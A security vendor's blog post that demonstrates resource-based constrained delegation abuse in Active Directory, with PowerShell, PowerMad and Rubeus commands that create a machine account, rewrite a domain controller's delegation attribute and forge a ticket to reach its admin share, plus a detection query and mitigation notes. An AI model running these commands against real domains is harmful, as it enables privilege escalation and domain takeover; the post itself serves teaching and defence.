Delegation is an area that is confusing and complicated for most Active Directory administrators. Unconstrained delegation, constrained delegation, and even resource-based constrained delegation all play a role in not only your Active Directory infrastructure, but also its security posture. For example, unconstrained delegation is very insecure, and can be abused relatively easily. If you’re unfamiliar with the different types of delegation and how they work, I suggest reading harmj0ys Another Word on Delegation as he’s done a very good job explaining it and making it (somewhat) easy to understand. Resource-based constrained delegation, although more secure than the others, is still able to be abused and used as a means of lateral movement and even privilege escalation. I’ll be diving into the scenario where a user abuses the capability to create computer accounts in Active Directory and some poorly configured Active Directory permissions, to take over a target computer.
To start, I’d like to give a very quick ‘What is Resource-based Constrained Delegation”, but for a deeper dive, this Microsoft article goes into a lot of detail. Starting in Windows Server 2012, resource-based constrained delegation can be configured on the resource or a computer account itself. This is different from the other types of delegation, which are configured on the accounts accessing the resource. Resource-based delegation is controlled by the msDS-AllowedToActOnBehalfOfOtherIdentity attribute and it stores a security descriptor for the object that can access the resource. Why is this better than its predecessors? To pull directly from the aforementioned article:
By supporting constrained delegation across domains, services can be configured to use constrained delegation to authenticate to servers in other domains rather than using unconstrained delegation. This provides authentication support for across domain service solutions by using an existing Kerberos infrastructure without needing to trust front-end services to delegate to any service.
To abuse resource-based constrained delegation, one would have to populate the msDS-AllowedToActOnBehalfOfOtherIdentity attribute with a computer account that they have control over and know a SPN set on that object that they want to gain access to. Fortunately, with MachineAccountQuota by default allowing all users to create 10 computer accounts, this is easy to accomplish from a non-privileged account. The only privilege that an attacker would need, is the capability to write the attribute on the target computer due to some poorly configured Active Directory permissions. To accomplish this and show a quick proof of concept, I’ll use the following tools with the following scenario:
So to start, let’s take a look at the account I have gained access to. My account SBPMLABnonadmin is just a regular domain user who has local administrator privileges on its local machine. I show in the screenshot below that I cannot UNC to the SBPMLAB-DC2 C$ admin share with my current privileges.
Through AD reconnaissance, I was able to discover that I have some permissions on a Domain Controller, which I’ve predetermined is my target. Using tools that will enumerate permissions and objects within Active Directory would allow an attacker to come to this conclusion eventually. I wrote some PowerShell that will identify anywhere a specific user SID has Full Control, Write, Modify Permissions or Write Property: msDS-AllowedToActOnBehalfOfOtherIdentity on a targeted machine. PowerShell samples will be below.
Now that we know we have the capability to modify the attribute we would need to populate, we have to check that we can actually update that attribute with a computer account we control. Thanks to MachineAccountQuota, we should be able to create an account that we’ll have full access to. Once we confirm the MachineAccountQuota value, we can make a computer account using PowerMad and specify the machine’s password, so we’ll have the hash for it. We’ll use the hash in a later part of this process.
As you can see I created the account RBCDMachine with the password ‘ThisIsATest’. Now that we have our brand new computer account we can use, we need to populate the msDS-AllowedToActOnBehalfOfOtherIdentity for our targeted DC that we have permissions over.
Once that’s populated, we’ll just need to get the hash for our ‘ThisIsATest’ password for our RBCDMachine account and then we can use Rubeus to abuse this scenario.
So now we have everything we would need to utilize Rubeus to abuse resource-based constrained delegation. To recap what we’ve gathered so far:
Using all of this information, we can craft the following command to run in Rubeus:
s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt
Once the ticket is imported, we can confirm that it was imported successfully by using ‘klist’ and we can reattempt to navigate to the \SBPMLAB-DCC$ admin share.
So I was able to get to the C$ admin share on the Domain Controller, there are some things an attacker could do to persist or even elevate privileges further (e.g. compromising the NTDS.dit file). However, I could also request access to the ldap service by changing the msdsspn parameter in my Rubeus command and leverage that to do a DCSync attack and take over the krbtgt account.
So now that I’ve shown how the attack works, let’s do a quick recap on what occurred and then cover some things you can do to prevent this type of attack from occurring in your environment.
So how can you prevent some of these things from occurring in your environment?
#Identify computers created by non-administrators (leveraging MachineAccountQuota)
Get-ADComputer -Properties ms-ds-CreatorSid -Filter {ms-ds-creatorsid -ne "$Null"}
Code:
Identify permissions on a targeted computer ($target) for our owned account ($myaccount) that would allow this scenario to occur:
#Target Machine we want to check permissions on
$target = 'sbpmlab-dc2.sbpmlab.net'
$targetComputer = Get-ADComputer -Filter 'dnshostname -eq $target'
#SID of the account we have control over
$myaccount = Get-ADuser notadmin -Properties sid | select -ExpandProperty sid
#Identify schemaIDGUID of msDS-AllowedToActOnBehalfOfOtherIdentity
$schemaIDGUID = @{}
Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(name=ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity)' -Properties name, schemaIDGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}
#Identify permissions our account has over a target computer
#Specifically Full Control, Write, Modify Permissions or Write Property: msDS-AllowedToActOnBehalfOfOtherIdentity
Import-Module C:ToolsPowerSploitReconPowerView_dev.ps1
$permissions = Get-ObjectAcl $target | ?{$_.SecurityIdentifier -match $myaccount -and (($_.ObjectAceType -match $schemaIDGUID.Keys -and $_.ActiveDirectoryRights -like '*WriteProperty*') -or ($_.ActiveDirectoryRights -like '*GenericAll*' -or $_.ActiveDirectoryRights -like '*GenericWrite*' -or $_.ActiveDirectoryRights -like '*WriteDACL*')) }
$permissions
Check MachineAccountQuota setting for the domain and create a computer account using PowerMad:
#Check MachineAccountQuotaValue
Get-ADDomain | Select-Object -ExpandProperty DistinguishedName | Get-ADObject -Properties 'ms-DS-MachineAccountQuota'
#Use PowerMad to leverage MachineAccountQuota and make a new machine that we have control over
Import-Module C:ToolsPowermad-masterPowermad.ps1
$password = ConvertTo-SecureString 'ThisIsAPassword' -AsPlainText -Force
New-MachineAccount -machineaccount RBCDMachine -Password $($password)
Update the msDS-AllowedToActOnBehalfOfOtherIdentity attribute with the new computer we created:
#Set msDS-AllowedToActOnBehalfOfOtherIdentity with our new computer object
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount RBCDMachine$
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount
Get the hash of the password we set for our computer account:
#Get hash of password we set
import-module C:ToolsDSInternalsDSInternalsDSInternals.psd1
ConvertTo-NTHash $password
Rubeus command to execute the resource-based constrained delegation abuse:
C:ToolsGhostPackRubeusRubeusbindebugRubeus.exe s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt
Kevin Joyce is a Senior Technical Product Manager at Stealthbits Technologies. He is responsible for building and delivering on the roadmap of Stealthbits products and solutions.
Kevin is passionate about cyber-security and holds a Bachelor of Science degree in Digital Forensics from Bloomsburg University of Pennsylvania.
Learn why Active Directory security should be a priority for your organization and ways to mitigate against a data breach with this free white paper!
Read more© 2021 Stealthbits Technologies, Inc.
It seems a little confusing at the “To pull directly from the aforementioned article” as it seems if the below text is application to Constrained delegation and not just Resource Based Constrained Delegation.
Resource-based constrained delegation is a type of constrained delegation, if you look at the article itself, that quote is under the ‘Resource-based constrained delegation across domains’ section. That quote outlines the change between regular constrained delegation versus resource-based constrained delegation. Resource-based constrained delegation allows for constrained delegation to work cross-domain.